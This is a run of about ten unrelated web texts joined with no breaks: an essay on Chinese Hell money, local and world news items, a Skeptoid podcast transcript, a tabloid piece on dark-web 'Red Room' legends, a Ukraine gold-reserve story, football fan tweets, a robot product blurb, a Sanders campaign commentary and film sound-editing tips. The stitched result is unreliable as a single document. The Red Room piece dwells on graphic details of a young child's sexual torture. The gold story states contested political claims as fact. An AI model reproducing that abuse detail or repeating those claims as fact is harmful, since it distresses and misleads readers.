“Hell money is usually made in Hong Kong, China or Vietnam for the local market,” banknote dealer Joel Anderson told me. “Hong Kong uses dollars, and for a long time the US dollar was the preferred currency in the Far East, so most Hell notes are still denominated in dollars. For a long time, the Chinese yuan was not convertible, so I guess they figured it wouldn’t do them any good when they got to Hell.” (2)
Hell money springs from a very old tradition in Chinese culture, arguably stretching back as far as 1600 BC. Archaeologists have found tombs of that era in China with imitation metal money placed among the human remains. China has been using some form of paper money since the 9th Century, and paper money’s been dominant there for nearly 800 years. Joss paper copies of this money have been burned at funerals and graves for almost as long, and some people still prefer to use this form of spirit “cash” in paying their respects today.
The first Chinese currency resembling a modern banknote was printed around 1890, and it’s reasonable to assume that Hell’s currency appeared soon after. “The earliest Hell notes I’ve seen that look like banknotes were printed in the mid-1930s,” Anderson told me. “In the past decade or two, they have become increasingly elaborate and colourful.” When hyperinflation gripped China in the 1940s, Hell banknotes followed suit, producing the denominations of $1bn, $5bn or even $50bn we see today.
The name “Hell money” is thought to derive from a misunderstanding between the first Christian missionaries to reach China and the people they tried to convert there. Thinking “Hell” meant merely the afterlife in general, rather than the zone it sets aside for evildoers alone, Chinese people were happy to use this word on their dead relatives’ offerings. The habit’s stuck ever since, with a dozen “Hell Money” designs appearing for every one which labels itself “Heaven Money” instead. For Western collectors like me, this has the added appeal of giving the notes a sexy, badass name which “Paradise Money” or “Afterlife Money” simply can’t match. (3, 4)
The Chinese concept of the afterlife is that the dead person’s spirit lives on, doing much the same things it did in life. It follows that money will be needed to buy all those little treats that make death worth living, as well as the occasional gift like the consumer goods I found in San Francisco. Sometimes, the hope is that sending your loved ones cash in this way will help to speed their progress through the afterlife’s various stages to a happy reincarnation. This can be achieved either by supplementing the offerings they made in life to atone for their sins, or simply by bribing the spirit world’s ruling administrators. (5)
Chief among these are Yu Huang, also known as the Jade Emperor, and Yan Luo, the King of Hell. Their twin signatures appear on many of these banknotes, though the Romanised spelling often varies.
Yu Huang was a wise and kindly Chinese leader whose good deeds in life and cultivation of his Tao won him immortality. When he defeated a terrible demon who was set to take over every realm of existence, the gods rewarded him by giving him command of what Christians would call Heaven, Hell and the mortal world. Yu Huang delegated part of these duties to Yan Luo, who presides over Diyu. Everyone has to go to Diyu when they die, where Yan Luo’s first job is to judge whether their next stop should be the Taoist version of Heaven or Hell. It’s this decision – or perhaps the length of a stay in Hell/Limbo – which people hope to influence when they offer Yan Luo these banknotes as a bribe. (6)
Almost all the Hell notes I’ve seen use a Yu Huang portrait showing him in his trademark flat hat with the beads dangling from it. He’s generally placed where a US President would appear on American currency, or the Queen on a British banknote. Most of the other images used, as I’ve detailed in the captions, are good luck symbols of one kind or another: a fish, a phoenix, a dragon and so on. Hell notes are mostly found in Cantonese areas throughout Asia, and draw on both Taoist belief and Chinese folk religion for their customs and imagery. (7, 8)
The Chinese characters on the notes say the same sort of things as the English text, mostly just giving the note’s value or naming its issuer as some variety of Hell Bank.
Some notes go a step further, and blur the line between innocent parody of a real banknote and something more like deliberate forgery. “The Chinese printers often copy images and names from legitimate bank notes to make the Hell notes more authentic,” Anderson told me. “One of my favourites copied a US $100 bill, changing only the legend on the back. Understandably, the US Secret Service was not too pleased, and that issue seems to have been discontinued.”
You can see the $100 Hell note Anderson has in mind here, where it’s wrongly described as movie prop money. These notes were produced in Vietnam in the late 1990s or early 2000s, and the only change they make to the genuine $100 bill is replacing the words “The United States of America” with “Ngan Hang Dia Phu” on the reverse side. This translates as “Bank of Limbo”. (9)
Among my own collection, the note that comes closest to a forgery is the ¥500 note below, which takes almost all its imagery from genuine Hong Kong banknotes like this one.
China’s currency designers have suffered their share of theft too. The image of the Hukou waterfall shown on the back of my ¥50 Hell note, for example, is lifted from China’s genuine ¥50 note. The long flat building shown on the back of my red ¥100 Hell note is China’s Great Hall of the People, and the image itself is lifted from China’s real ¥100 note. Even the use of four Jade Emperors on my blue ¥100 Hell note seems based on the genuine ¥100 note’s design, which shows four former Chinese leaders in a similar arrangement. (10)
With this degree of detailed copying in their design, it’s small wonder some people mistake Hell notes for genuine currency. “A few years ago, I got a phone call from someone in India who had a high denomination Hell banknote and wanted to know how to contact the bank to redeem it,” Anderson told me. “I tried to explain that it was not a real banknote, but was printed for use by dead people.
“He did not grasp the concept, and a few minutes later his wife called with the same question. Again, I tried to explain that Bank of Hell did not exist. I added that the money could only be used by dead Chinese, but she too did not grasp the explanation. They were convinced that they had a real banknote that could be redeemed by some bank in China or Hong Kong.”
Searching for paper replicas of consumer goods in San Francisco, I found nothing more exotic than the beer, jewellery and electronic items mentioned above. But these just scratch the surface of what a dead loved one can receive.
At the luxury end of the market, people also burn paper replicas of gold and platinum credit cards, travellers’ cheques, laptop computers, passports, airline tickets, luxury villas with manicured gardens, Mercedes limousines (some complete with a liveried chauffeur), sub-zero refrigerators and even domestic servants. Often, these elaborate paper models are commissioned specially to reflect not only the family’s wealth but also the dead individual’s own preferences and style. The British Museum’s Living and Dying exhibition has a particularly nice example in this rather beautiful paper motorcycle from Malaysia. The same show has photographs of a Penang family burning a life-size paper Mercedes in order to deliver it to one of their own dead relatives.
China, Hong Kong, Taiwan, Singapore, Vietnam and Malaysia all have specialist Gods Material Shops, where a wide range of paper replicas and Hell notes can be bought by grieving relatives. Some are keen to ensure the deceased enjoys not only the normal consumer comforts, but a healthy sex life too.
In April 2006, China Daily reported that Dou Yupei, deputy secretary at the Ministry of Civil Affairs, had introduced fines for anyone found burning “vulgar” items at graveside. Among the examples he complained of were paper models of condoms, Viagra tablets and the bar girls hired to pamper men at expensive nightclubs. Some families had even been found burning paper dolls representing the “Supergirls” made famous by China’s version of America’s Got Talent. (11)
“Not only is [this custom] mired in feudal superstition, but it just appears low and vulgar,” Dou said. He asked people to make their tributes online instead, but this suggestion was widely ignored. A year later, the Nanjing Morning News was condemning the sales of paper Viagra tablets all over again. “The people who make this stuff are definitely lacking in taste and civilisation,” it quoted one reader as saying. (12, 13)
Mao tried to wipe out the custom of burning paper offerings in graveyards too, but even he never quite succeeded in doing so. Tomb Sweeping Day, the annual festival when Chinese families tend to their loved ones’ graves, was banned under communism, but reinstated as a public holiday in 2008. That’s still the day when a lot of Hell notes get burned. Some families stack them in loose piles on the grave before setting a match to them, while others fold them into intricate patterns to distinguish the Hell notes from real cash. A third group burn Hell notes alongside their paper replica gifts, believing the money will distract evil spirits who would otherwise intercept the burned gifts for themselves. (14, 15)
For those unable to travel to their own family graves on Tomb Sweeping Day a convenient patch of waste ground is pressed into service instead. “In the evening, the street corners all over town will light up as people make small fires to burn the Hell money and things to send their ancestors,” Joann Pittman, an American teacher living in Beijing, reports. (16)
At funerals, it’s also acceptable to place Hell notes intact in the loved one’s coffin, or simply to release them into the wind so they’ll waft to the afterlife that way. Some families distribute Hell notes to mourners as they arrive at the funeral for just this purpose. (17)
Although many young Asians continue to use Hell notes today, they generally do so out of respect for family tradition rather than any literal belief in the notes’ power.
That’s certainly what a group of anthropology students found when they interviewed a young Vietnamese woman burning Hell notes at a Taoist temple in California. Their interview also gives an intriguing glimpse into how different generations of the same family view this custom. This became clear from the students’ very first question: “What is Hell money?”
“It’s not Hell money, it’s Heaven money,” the young woman replied. “My dad got mad at me for calling it Hell money. (18)
“I personally don’t believe in Heaven money and all the other stuff that goes along with it, but I know it meant a lot to my Grandma, so I was mainly doing it for her and other members of my family. All I know is that my mom made me do it, and she told me the money floated up to Heaven for Grandma to use.”
At this point, the young woman’s mother came over to see what was going on, and the students were able to interview her too. “I have done the same thing my parents and their parents did before,” she explained. “We pray for the dead person to give us good luck and good health. We burn Heaven money and paper clothes on the anniversary of the death. Burning Heaven money is mostly religious, but it can be somewhat of a cultural thing also. They use the money to buy a Prada suit or something.” (19)
The other young people burning Hell money at the same temple gave very similar answers to this woman’s daughter, placing them more in the cultural camp than the mother’s religious one. For those without this family’s traditions to follow, popular culture such as gaming or TV may provide their only encounter with Hell money. The 2012 video game Sleeping Dogs: Murder at North Point, for example, asks players to collect Hell money from various hidden shrines in Hong Kong. The game itself pits cops against supernatural gangsters, so you can see how Hell notes fit its theme.
The X-Files has used these banknotes in one of its own plots too. In the season three episode Hell Money, Fox Mulder finds the charred remains of a Hell note on a murder victim’s body in San Francisco’s Chinatown, and it provides a vital clue. Told by local detective Glen Chao that only a few shops in Chinatown sell the Hell money – a fact I can vouch for myself – Mulder replies: “That’s good. Maybe we just found a way to identify the body.” (20)
Nielsen ratings show this particular episode of The X-Files was watched by close to 15m people on its first airing alone, giving Hell notes what’s almost certainly their biggest exposure yet to a mainstream western audience. Factor in repeats, syndication and video/DVD sales too, and that number would be much, much higher.
I’ve also seen pictures of Hell notes featuring actors like Marilyn Monroe, Humphrey Bogart and James Dean. Another set concentrates on dead world leaders, presenting the unlikely quintet of John F Kennedy, Lyndon Johnson, Joseph Stalin, Nikita Khrushchev and Ho Chi Minh.
To see many more photographs of Hell notes and other paper offerings, please visit the PlanetSlade pages here.
In July 2016, a Louisiana collector who’d seen this article sent me some scans of his own most interesting Hell banknotes, together with a few comments on what made them so special. I’ve used the scans and information in his letter to create this special PlanetSlade bonus page.
Copyright 2019 Nexstar Broadcasting, Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed. An unusual display in the backyard of a north Abilene home is making local realtors uncomfortable.
ABILENE, Texas (KTAB/KRBC) - An unusual display in the backyard of a north Abilene home made local realtors uncomfortable in July of 2017.
A collection of headshots of female realtors, along with one picture of a local attorney, has been plastered on the side of a shed in the yard, as well as along the fence.
Realtors who spoke with KTAB and KRBC called the shed 'creepy' and said it makes them uncomfortable knowing their pictures and their co-workers pictures are included in the collage.
KTAB and KRBC contacted the man responsible for the display, and he said he does realize why people would consider the display creepy. He also said that he will be taking the pictures down Wednesday night or Thursday to allow those concerned to sleep soundly. He offered no comment when asked what provoked him to create the display and has since removed the pictures.
Abilene police have been contacted in regards to the shed, but no citations have been issued because officers determined no criminal act was being committed.
Police Chief Stan Stanridge released a statement, saying, "APD and ACU PD are aware of this issue [and] we readily concede that the issue is very concerning, but we do not believe it is criminal."
BigCountryHomepage will not be releasing the name of the man responsible for the display or his address since no criminal act is involved.
by Brian Dunning
Filed under Feedback & Questions
Skeptoid Podcast #119
September 16, 2008
Podcast transcript | Download | Subscribe
Listen:
http://skeptoid.com/audio/skeptoid-4119.mp3
Once again we're going to open the email folder and answer some questions from students. If you're a student of any age, and you have a question you'd like me to answer, I'd love to hear from you. Just go to Skeptoid.com and click on Student Questions to see how to record and submit your question to me. It's really easy, and all you need is access to any computer with a microphone. Today's questions cover body searches, theta healing, dreams coming true, marijuana use, and the genetic foundations of homosexuality. Let's dive right in.
Hi, my name is Avi Steiner, and I was wondering: Is the controversy over full-body searches in airlines merited?
There are many branches to this question, and I'm not quite sure which you're most interested in. Two that are within the scope of Skeptoid to address are the statistics of whether full body searches actually prevent air piracy, and whether the image clarity of the latest imaging techniques are actually as revealing as some say they are. As far as this question goes, that's a big yes. It's called Backscatter X-Ray and it produces images that are exactly what every 10-year-old boy hoped his Cracker Jack X-Ray Spectacles would produce. Susan Hallowell, Director of the Transportation Security Administration's research lab, famously allowed a picture of herself that leaves little to the imagination to be released to the media, and if that doesn't send you scrambling to Google's image search, I don't know what will.
If your concern is whether body searches have been proven to reduce air piracy, the answer's not as clear. You may be tempted to answer "Well duh, of course it helps, because the hijackers can't bring weapons on board." But this thought experiment may be all you have to go on, because there's insufficient data to draw any conclusions from the real world. Most such incidents happen in countries where security is minimal, but there are far too many other variables at play to conclude that the low security level was the reason that the piracy acts took place from those particular airports. The Aviation Safety Network lists six fatality hijackings that took place in 2007, four in Africa and two in Turkey. Are body searches the reason these hijackings didn't happen in the United States? It could also be that these particular hijackers had less to gain by choosing a flight from Colorado Springs to Orlando.
Hi Brian, My name is Mia, from Swinburne University, Melbourne, Australia. I want to know what your take is on the mystical Theta Healing. I have a friend who is very much into it but I get the feeling that there's not much evidence behind what it claims to do. What do you think?
Theta healing is just another random "roll-the-dice and invent a New Age healing technique" based on some imaginary energy field. This one was invented in 1995 by a self-described "intuitive reader" who believed that she could project theta waves from her brain which would instantly heal the patient. Theta healing claims to immediately and completely cure cancer, severe injuries, and even psychological and financial problems.
In fact, a theta wave is not an energy field or a type of energy at all. It's simply the name of one type of waveform on an electroencephalogram. When an EEG shows a sine wave with a period of between 4 and 8 Hertz, neurologists designate that as a theta pattern. This waveform is observed when the subject is asleep or at rest, and in some types of learning involving short term memory.
Probably what happened is that this "intuitive reader" heard the term "theta wave", misinterpreted it to mean a type of mystical energy field generated by the brain; and then erroneously put two and two together when one of her customers reported some kind of positive experience. If you look at any web page about theta healing, you'll see all kinds of vaguely scientific sounding words thrown out there in meaningless disarray. There's nothing plausible about it and no description specific enough to test, but unfortunately, unscientific laypeople are all too often ill-equipped to recognize that such technobabble on a web page is baseless.
I'm David Alexander, a university student in Ottawa, Canada, and I myself have had quite a few dreams I recall very vividly, and discover myself weeks or months later in a situation that (as far as I could tell) matches my prior dream almost exactly to the point of being able to predict with certainly what is about to happen. My question is: what would you tell me about these experiences I have, in light of the sheer improbability of these types of things occurring?
Although I can't speak authoritatively on your specific case, I can tell you that what you describe as sheer improbability, when applied to all the dreams, thoughts, and daily experiences that a person has, surprising coincidences become not only probable, but inevitable. The law of large numbers requires that, on average, of the one million waking events you experience in a month at the rate of about one a second, one of them will be a one-in-a-million coincidence. You seem to be someone who pays a great deal of attention to matching his dreams to later experiences, and so you are by definition a walking case of confirmation bias. How many dreams have you had that did not later come true? Most of them. Of each dream that did come true, how much of the dream came true? All several hours of it, or only one of its thousands of bits? Considering that your dreams have only your life experience to draw from for their material, it's almost inconceiveable for your dreams to not match a substantial part of what happens in your daily life.
I'm sure you can point to half a dozen cases where the match was too incredibly strange to have been a coincidence. Well, so can everyone, the difference is that most of us don't pay as much attention to it as you and so we quickly forget. I only remember one such case, but I know there have been others, I just forgot about them. Don't allow yourself to confuse confirmation bias — our tendency to remember the few hits and forget the vast majority of misses — with the impression that hits were more prominent than they really were.
Hello, this is Evan from Stratford Ontario. I was wondering what are the real effects of regular marijuana use?
Well, I'll avoid the obvious assumption about why you're asking, and instead cut to the chase. For most light users, the risks of long term pot smoking are probably not worth worrying about. The risks of driving your car or smoking cigarettes are more substantial concerns. About 1 in 25 adults smoke marijuana at least once a year, with few long term effects. Short term effects can be a bigger concern. Don't plan to drive that day; don't put yourself in a situation where you might make a jackass out of yourself; don't get fired for being high on the job. Use good sense.
Heavy usage, or even a rare heavy usage, can absolutely be a problem. I once ate some brownies that I didn't know were full of pot, then drove home. I passed out on the freeway, and came to driving on the dirt shoulder at 70 mph, blind and paralyzed on my left side. It took several days to recover fully, and you can bet I went to the hospital where they ruled out all the other possible causes they could think of. You can also bet that I'll never touch the stuff again. Don't ever OD, and don't let your friends OD.
You've already demonstrated the best precaution, which is to ask before you leap. Impress the heck out of your doctor by asking him. Look it up on the web. Sites like WebMD are great places to get decent, general, consumer level information about health topics like this, and you'll see that WebMD does list potential long term problems like gum disease, changes in blood viscosity, and pregnancy concerns. No drug is completely safe, but then again, what is?
I'm Kevin Mellis, I'm 18, and I'm a student at the University of La Verne. My question is this: Homosexuality is popularly conceived as innate in a person's personality. Is there any scientific research regarding the veracity of this commonly held belief?
Yes there is. Despite Newsweek and the Wall Street Journal's best efforts to promote sensationalism through misleading headlines, one thing that is very clear to geneticists is that there is no "gay gene". The idea got its start in 1993 when Science published a study of homosexuality and genetic frequencies among familes. It was complicated, and was grossly and irresponsibly oversimplified into the "gay gene" by the media. New research is published pretty often, and about the only consensus that's displayed is that it seems likely that homosexuality has a combination of genetic, other biological, and environmental causes. If you read anything that claims to have found a single or clearly identified cause of homosexuality, you have very good reason to be skeptical of that source.
If you're a student and you want to hear my take on something, come to Skeptoid.com and click on Answering Student Questions. Get a quick answer on some urban legend, conspiracy theory, or paranormal phenomenon you're curious about. I'd love to hear from you, and answer your question on a future show.
By Brian Dunning
They’re the darkest places on the dark web – ‘Red Room’ sites where ‘Pay per View’ viewers part with Bitcoin to watch scenes of unimaginable horror.
Boys aged 2, 3, and 5 'never learnt to speak after dad made them live alone'
‘Red Room’ sites, the story goes, are darkweb sites where users pay thousands – or tens of thousands – to watch rapes and murders live.
Urban legends about the existence of ‘Red Rooms’ have circulated for years – but as yet, there’s no evidence that they exist.
If ‘Pay per View’ torture sites do exist, it’s almost certain that they don’t work via Tor (the software used to access dark web sites) – which is too slow to stream video live.
The term ‘Red Room’ has been around on the internet for more than decade – thought to originate either from ‘red rum’/’murder’, or from the 1983 horror film Videodrome, where torture is shown live on satellite TV in a red-painted room.
One case which suggests that there might be sites where people pay to view videos of torture is the case of Peter Scully, a paedophile currently facing trial in the Philippines.
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Users of a paedophile site reportedly paid up to $10,000 to watch videos of Scully’s abuse and torture of a young child – one of a series of videos produced by Scully’s company, No Limits Fun.
The video Daisy’s Destruction – widely discussed on forums and on Reddit – is not actually a snuff film, but features horrifying abuse and sexual assault of a young child.
It was streamed on so-called ‘Hurtcore’ paedophile sites – where paedophiles watch torture and abuse of children and babies.
Its creator, Peter Scully, is in jail in the Philippines.
The video called ‘Daisy’s Destruction’ showed the baby girl being tied upside down by her feet, sexually assaulted and beaten by Scully and a masked woman.
60 Minutes/Nine Network
In the series of videos, she is whipped and assaulted with sex toys by Peter Scully’s girlfriend – who he met when she herself was a child prostitute.
According to the Sydney Morning Herald, the footage was so horrific police called it ‘the worst we have encountered in our years campaigning against child pornography.’
Reports that the video feature ‘Daisy’ being killed are inaccurate – while human remains were discovered at one of Peter Scully’s homes, the girl from the film was rescued alive.
The videos were streamed via a paedophile website which hosted torture videos, called Hurt 2 The Core – which boasted 15,000 videos downloads daily.
Who controls Ukraine’s gold reserves, worth about $1.5 billion, remains one of the great mysteries of 2014. And if that is not bad enough for Ukrainians, evidence has emerged that the country’s central bank was duped into buying an unknown amount of lead bars that had been painted gold, believing they were the real thing.
Since March 2014, there has been widespread speculation about the whereabouts of the country’s 40 metric tons of gold bullion. In March 2014, Russian news and commentary website “Iskra” claimed 40 metric tons of gold were spirited out of Kiev’s central bank in the capital in a hush-hush military-style operation and loaded onto a plane at the national airport. The plane then took off for an unknown destination.
While the story did not make it into the mainstream media, it was picked up by Shanghai Metals Market (SMM), “China’s leading, independent, integrated suppliers of metals market intelligence.” It reported that a Ukrainian government source confirmed 40 metric tons of Ukraine’s gold had been airlifted to the United States.
For SMM, the figure of 40 metric tons seemed strange since the World Gold Council had listed Ukraine’s gold reserves at only 36 metric tons. According to SMM, orders for the transfer of the gold were given by the country’s acting Prime Minister Arseniy Yatsenyuk and the U.S. Federal Reserve organized the operation.
One of the questionable issues at the heart of the mystery is that if Yatsenyuk gave the order for the removal of his nation’s gold reserves, he did it in March, just weeks after he was propelled into power by Washington. U.S. officials had conspired with right wing elements to overthrow the elected government of the country’s president, Victor Yanukovich. Another element of the puzzle is that in February before Yanukovich fled to Moscow, the country’s Central Bank chairman, Sergey Arbuzov, claimed the nation’s gold reserves were 21 metric tons and not the 40 metric tons reported by SMM and its source a month later.
If that is not puzzling enough, in May 2014, Vira Rychakovska, deputy chairman of Ukraine’s National Bank boasted her country was 47th in the world with a gold hoard of 36.1 metric tons of gold. However, she neglected to reveal the actual location where the gold was being stored, choosing to say instead it was within the National Bank’s foreign currency reserves.
Washington and the Fed have denied any knowledge of the vanishing gold, but that should not surprise anyone. After all, where is Libya’s gold? It is suspected that after the fall of the Libyan regime, a move also engineered by Washington, massive gold reserves of the late Colonel Muammar Qadaffi were spirited out of that country, too, into the New York Federal Reserve Bank. The Fed has been a major repository for gold bullion since the end of World War II. Germany has been trying to repatriate its gold from the Fed and demanded an audit of Fed holdings in 2014. The Bank of the Netherlands removed 120 metric tons of gold from the Fed in 2014, implying it was not happy having its gold in the U.S.
If the missing Ukraine gold seems like a bizarre tale, even more absurd is the fact the country’s Central Bank in Odessa was buying what it thought was gold from the public to boost its reserves. It has since transpired one of its senior employees was scamming the bank by replacing actual hold bars with ones made of lead and painted gold. There is therefore a strong possibility the Fed in New York is holding in its cache of Ukraine’s gold bullion some gold that is not the real thing.
The wreckage of a car destroyed during a suicide bombing is seen near the African Union's main peacekeeping base in Mogadishu, Somalia, July 26, 2016. REUTERS/Ismail Taxta
The force of the explosions shattered windows at Mogadishu’s nearby airport, showered arriving passengers with glass and forced the suspension of flights, police and witnesses said.
Police said the first attacker detonated a car bomb and the second tried to storm the base on foot, but was shot and exploded at the gate.
“At least 13 people - mostly security forces - died in the two car bomb blasts,” and 12 others were wounded, police officer Abdiqadir Omar told Reuters.
The guards were caught in the blast as they escorted U.N. personnel into the base, known as Halane, he added.
Al Shabaab, an Islamist militant group linked to al Qaeda and fighting to topple Somalia’s Western-backed government, said it set off two car bombs.
The African Union’s AMISOM force said on Twitter it condemned the “senseless attacks that aim to disrupt and cripple the lives of ordinary Somalis”. There was no immediate comment from the United Nations.
People arriving on international flights said the blasts shattered windows in the airport buildings.
“We were greeted by two loud blasts. The glass of the airport building fell on us,” said Ali Nur, who had just got off a plane from Nairobi.
Al Shabaab regularly attacks AMISOM, which is made up of about 22,000 military personnel from Uganda, Kenya, Ethiopia and other African countries helping to support Somalia’s government and army.
The country in the Horn of Africa was plunged into anarchy in the early 1990s following the toppling of military dictator Mohamed Siad Barre.
The U.N. refugee agency on Tuesday increased its funding appeal to nearly $500 million to finance the voluntary return and reintegration of Somali refugees from the sprawling Dadaab camp in Kenya, which hosts some 330,000 Somalis.
Kenya, citing security threats, said last month it aims to reduce by almost half the population of the camp.[nL8N19I033]
“Despite the security situation currently in Somalia, people are returning on a daily basis,” UNHCR’s representative in Somalia Caroline van Buren told a news briefing in Geneva.
Scunthorpe United fans were very impressed by Wolverhampton Wanderers loanee Tommy Rowe's performance against Oldham Athletic at the weekend.
Scunthorpe picked up a 4-2 victory against Oldham, and it was Rowe's display which earned him man of the match in the fixture.
The left-midfielder scored his side's second goal in the contest, and generally impressed with his hard-working attitude.
Rowe has now won his first two games as a Scunthorpe player, and he seems to be enjoying himself playing regular football again.
The 27-year-old has not played much since moving to Molinuex in 2014, with a succession of injury problems harming his chances with Wolves.
The Midlands club gave him 14 appearances last campaign, but his form was poor and he never showed the ability which made him such a star at Peterborough United and Stockport County, earlier in his career.
A move to Scunthorpe appears to have worked though, and Wolves fans will be hoping that he can continue to impress over the duration of his loan spell.
Here is the best reaction from Scunthorpe fans to Rowe's performance on social media site Twitter.
A special mention for @SUFCOfficial loanee Tommy Rowe who was MotM for me. Never stopped running & working, covered every blade of grass. — Mike White (@mikewhitesport) October 10, 2015
Tommy Rowe for me. Not only put in a shift, but has a touch of class about him. https://t.co/AhVeWr2bY9 — Chris Sumpter (@chrissumpter80) October 10, 2015
In the mix of the hype from KVV's stunner, I forgot to mention the brilliant performance of Tommy Rowe. Worthy winner of MOTM in my eyes. — Ross William Gibson (@RossGibson1992) October 10, 2015
Forgetting that after the game, we looked good going forward. Tommy Rowe had asuper game and van Veen's goal was sensational! Great 3 points — Nathan Goodall (@NazzyN00dl3) October 10, 2015
Superb result for @SUFCOfficial Tommy Rowe motm, great performance by @NealBish and a wonder goal by @kevinvanveen — Mark Yorkie Wilson (@yorkieiron) October 10, 2015
@mikewhitesport Tommy Rowe MOTM, Great goal by KVV. Poor defending for the two goals but a real threat going forward. Better. — Iron-Bru.com (@ironbru_net) October 10, 2015
Korean-based Yujin Robot continues to release thoughtful new products. They just announced a meal-transport robot designed to operate in eldercare and other hospitality and health care facilities.
Yujin’s new GoCart robot is a joint venture between Yujin and ScanBox, a designer and manufacturer of food transport systems for hospitality and institutional faciliities around the world. GoCart maps its environment and uses an array of sensors and cameras to autonomously carry its cargo without interfering with people or other objects along its path. It also has an Internet-of-Things interface so that it can connect with existing IT systems and works with smartphones, tablets and PCs.
A third partner in the new GoCart venture is the Horst Construction company, a property management and senior care facility builder, insurer and property manager.
Field tests of the new GoCart will begin this October in two locations: the US and Sweden.
In 2011 Yujin produced the iRobiQ robot, an English teaching robot for kindergarten classes throughout South Korea.
But I also want to take a moment to say why I think the main argument used against Sen. Bernie Sanders in the Democratic primary has, at least to date, failed. The grand arc of this campaign has been a long, slow rise for Sanders in Iowa , New Hampshire and nationally . The arguments against Sanders have proven to be ineffective to change the course of this arc.
As nearest as I can tell, the main argument against Bernie Sanders is as follows.
The policies Sanders proposes do not have a realistic chance of becoming law, even if Sanders were elected POTUS.
This is why almost all prominent progressive wonks, advocacy organizations and congressional Democrats have endorsed, or at least lean toward, Sec. Hillary Clinton.
Additionally, when Sanders is challenged on this point, his campaign and his supporters have responded with a frothing, unbecoming anger that reinforces the perception that they are politically naive and unwilling to do the coalition building and make the compromises required to actually get things done.
Paul Krugman, via our own brilliant Brainwrap, summed this feeling up pretty well the other day (full disclosure: I think Brainwrap is a genius):
Meanwhile, the Sanders skepticism of the wonks continues: Paul Starr lays out the case. As far as I can tell, every serious progressive policy expert on either health care or financial reform who has weighed in on the primary seems to lean Hillary. This could be because being in the trenches of the health care fight gives you an acute sense of the possible, and because having paid close attention to the financial crisis makes you a shadow-banking, not too big to fail guy. Or it could be because they are, one and all, corrupt corporate lackeys. I report, you decide.
In short, Sanders is not making realistic policy proposals, and his supporters are being angry and unreasonable when challenged on this point. That is the meta-narrative against Sanders.
Here is why this argument isn't working. The same class of professional wonk, progressive organizer and Democratic leader who now says Sanders policies are impossible and his supporters just angry know-nothings also said that it was impossible Bernie Sanders would be competitive with Hillary Clinton in the Democratic primaries. And they were wrong.
Why should the professional progressive-Democratic consensus about the prospects for Sanders's policies be correct when the professional progressive-Democratic consensus about the prospects for his candidacy appear to have been completely wrong?
As Greg Sargent wrote this morning , the professional pundit consensus badly underestimated both Sanders and his supporters:
NBC’s Kasie Hunt has a terrific segment this morning on the surprise success of Sanders’s campaign that should be a must-watch for all Democrats. It shows a range of pundits last spring mocking Sanders’s socialism, his “thick Brooklyn accent,” his age (“he looks 91″), and his manner (“he’s a loon”). But then Hunt’s segment smartly shows footage of the roaring crowds at Sanders rallies, and the deep passion and commitment of the young volunteers putting in long hours in a Sanders Iowa campaign office, concluding: “If Bernie Sanders is going to beat Hillary Clinton in Iowa, it’s because of volunteers like these, who basically live here.”
Here is the segment in question:
Now, it was not always the same people predicting that Sanders and his supporters had no chance who are now saying his policies have no chance and his supporters are full of anger and naivete. But it was a lot of the same people, and considered as a whole it was the same type of elite consensus. That consensus was wrong before--why would it be correct now?
Sec. Clinton could still win Iowa on Monday. Doing so would, I believe, make her an extremely heavy favorite to win the nomination. So maybe this argument will prove effective after all--or at least prove to have been good enough, even if it wasn't great.
Couple of weeks ago, Django Unchained’s sound editor and sound designer talked about how they worked on Tarantino’s western. But what does your sound editor need in order to work his/her magic? That is exactly what Vickie Sampson reveals during a 30 minute talk she gave last year.
As I have mentioned before, indie filmmakers often focus so much on the image that they tend to forget the key role sound plays in any movie and to keep it out of their budget while calculating post-production costs. To avoid hitting post-production in a state of frenzy, have a look below at Vickie Sampson’s tips to help your sound editor help you make your movie help your movie.
Below is a list of 25 points I gathered from both Sampson’s talk and a complementary document she shared. Some parts are more technical than others, and some information will particularly interest you if you are a filmmaker, others will only concern editors. If you wear both hats, you’ve just hit jackpot.
Enjoy:
#1. Have a budget for sound.
We sound editors often work WAY too many hours trying to fix problems that could have been fixed on the set. We usually work on the sound of an independent feature film for an average of 6 to 8 weeks for a dialogue driven movie and up to 3 months on an action/adventure film. We cannot pay our bills with “but everyone on the shoot worked for free!”
#2. Hire a professional.
Don’t hire your cousin Billy to hold the boom. “If you are that cheap, shoot on your iPhone and call it a day.” A movie that looks beautiful and sounds terrible will never look professional.
#3. Beware of Overlapping Dialogs.
If you have overlapping dialogs, make sure both actors are miced, even if one of the actor is off camera.
#4. Give your sound editor a copy of a lined script.
If there is one. This really helps the sound editor to find quickly how many takes were shot and to look for alternative sounds (if any).
#5. Give your sound editor a copy of the sound reports from the production mixer.
You also want to figure out if the production mixer has shot with multiple microphones, and if so, import ALL the mics into your edit.This will save your sound editor a lot of time. As Sampson says: “Time is money and usually we don’t get pay much, so we need more time to do it.” So the more you help your sound editor by providing all the relevant information, the faster she or he will work.
#6. Give your sound editor a complete copy of ALL the original production audio files.
Put them in a folder labeled PRODUCTION AUDIO and includes any wild tracks or VO tracks shot during the production. Ideally your sound editor wants ALL the audio takes, even if they did not make the cut into your edit. Sometimes he/she will go for alternate take to give you options.
#7. Give your sound editor a list of the cast with their character names and real names.
#8. Give your sound editor a list of all the LFOAs (Last frame of action) for each reel.
#9. Tell your sound editor what the delivery requirements are sound-wise.
Know what your final export is going to be and work your way backward. You might not know it right away, but as soon as you know what is the final export (a 5.1 mix, a mono mix, a foreign mix, music and effects only, a TV/Airline version, just DVDs, for screening purposes etc.) let your sound editor know and work accordingly during the edit.
#10 . Give your sound editor a CONTINUITY list.
That is a list of what scenes are in what reels – with a brief description of each scene.
#11. Give your sound editor a post production schedule.
If there is one.
#12. Give your sound editor the contact information for the key players
That would be the director, the film editor, the assistant film editor, the composer etc.
#13. Make Sure the Frame Rates Match
#14. Ask your sound editor for any sound effects that you want to use while you’re still in the editing process.
The director will get used to their sound and will make it a lot easier for refining later.
#15. Export a Guide Track of all the production audio only.
No SFX or MX and export as an AIFF file.
#16. Export the Quicktimes for each reel with all the sound.
We later import the audio from the Quicktime to use as another guide – to see what the director’s idea of where music will be and how loud and where SFX are etc.
#17. Put Academy Standard Leaders on the head and at the tail of each reel.
An Academy Leaders is 8 seconds worth of leader. It used to be for the projectors to get up to speed when films were… on film. It is still used as a standard by sound editors and editors to stay consistent in the workflow. Sampson created a head leader (with pop 24 fps) and a tail leader (with pop 24 fps) that are available to download on YouTube. Note: the POP goes two seconds before the first frame of the picture.
#18. Put a burned-in timecode
Put it in the black (not over the image) generated from the 000 start mark of an Academy Standard Leader.
